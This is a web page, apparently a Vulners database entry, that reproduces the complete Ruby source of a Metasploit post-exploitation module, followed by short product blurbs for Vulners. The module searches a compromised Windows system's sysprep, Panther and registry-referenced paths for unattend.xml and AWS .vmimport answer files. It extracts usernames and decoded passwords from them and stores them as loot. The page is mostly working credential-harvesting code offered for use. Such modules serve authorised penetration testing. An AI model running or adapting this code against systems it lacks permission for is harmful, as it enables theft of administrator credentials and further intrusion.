Lucene search
K

Windows Gather Unattended Answer File Enumeration

This module checks for unattend.xml and/or autounattend.xml files in Windows systems. It extracts sensitive information such as usernames and decoded passwords. Also checks for '.vmimport' files related to AWS EC2 VMIE service.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Unattended Answer File Enumeration',
        'Description' => %q{
          This module will check the file system for a copy of unattend.xml and/or
          autounattend.xml found in Windows Vista, or newer Windows systems.  And then
          extract sensitive information such as usernames and decoded passwords.  Also
          checks for '.vmimport' files that could have been created by the AWS EC2 VMIE service.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Sean Verity <veritysr1980[at]gmail.com>',
          'sinn3r',
          'Ben Campbell',
          'GhostlyBox'
        ],
        'References' => [
          ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
          ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
          ['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'],
          ['URL', 'https://aws.amazon.com/security/security-bulletins/AWS-2024-006/'],
          ['URL', 'https://www.immersivelabs.com/blog/the-return-of-unattend-xml-revenge-of-the-cleartext-credentials/']
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ]
      )
    )

    register_options(
      [
        OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
      ]
    )
  end

  #
  # Determine if unattend.xml exists or not
  #
  def unattend_exists?(xml_path)
    exist?(xml_path)
  end

  #
  # Read and parse the XML file
  #
  def load_unattend(xml_path)
    print_status("Reading #{xml_path}")
    raw = read_file(xml_path)

    begin
      xml = REXML::Document.new(raw)
    rescue REXML::ParseException => e
      print_error('Invalid XML format')
      vprint_line(e.message)
      return nil, raw
    end

    return xml, raw
  end

  #
  # Save Rex tables separately
  #
  def save_cred_tables(cred_table)
    t = cred_table
    vprint_line("\n#{t}\n")
    p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
    print_good("#{t.header} saved as: #{p}")
  end

  #
  # Save the raw version of unattend.xml
  #
  def save_raw(xmlpath, data)
    return if data.empty?

    fname = ::File.basename(xmlpath)
    p = store_loot('windows.unattended.raw', 'text/plain', session, data)
    print_good("Raw version of #{fname} saved as: #{p}")
  end

  #
  # If we spot a path for the answer file, we should check it out too
  #
  def get_registry_unattend_path
    # HKLM\System\Setup!UnattendFile
    fname = registry_getvaldata('HKEY_LOCAL_MACHINE\\System\\Setup', 'UnattendFile')&.strip
    return fname
  end

  #
  # Initialize all 7 possible paths for the answer file
  #
  def init_paths
    drive = expand_path('%SystemDrive%')

    files =
      [
        'unattend.xml',
        'autounattend.xml',
        'unattend.xml.vmimport',
        'autounattend.xml.vmimport'
      ]

    target_paths =
      [
        "#{drive}\\",
        "#{drive}\\Windows\\System32\\sysprep\\",
        "#{drive}\\Windows\\panther\\",
        "#{drive}\\Windows\\Panther\Unattend\\",
        "#{drive}\\Windows\\System32\\"
      ]

    paths = []
    target_paths.each do |p|
      files.each do |f|
        paths << "#{p}#{f}"
      end
    end

    # If there is one for registry, we add it to the list too
    reg_path = get_registry_unattend_path
    paths << reg_path unless reg_path.blank?
    return paths
  end

  def run
    init_paths.each do |xml_path|
      # If unattend.xml doesn't exist, move on to the next one
      unless unattend_exists?(xml_path)
        vprint_error("#{xml_path} not found")
        next
      end

      xml, raw = load_unattend(xml_path)
      save_raw(xml_path, raw)

      # XML failed to parse, will not go on from here
      return unless xml

      results = Rex::Parser::Unattend.parse(xml)
      table = Rex::Parser::Unattend.create_table(results)
      table.print unless table.nil?
      print_line

      # Save the data to a file, TODO: Save this as a Mdm::Cred maybe
      save_cred_tables(table) unless table.nil?

      return unless datastore['GETALL']
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation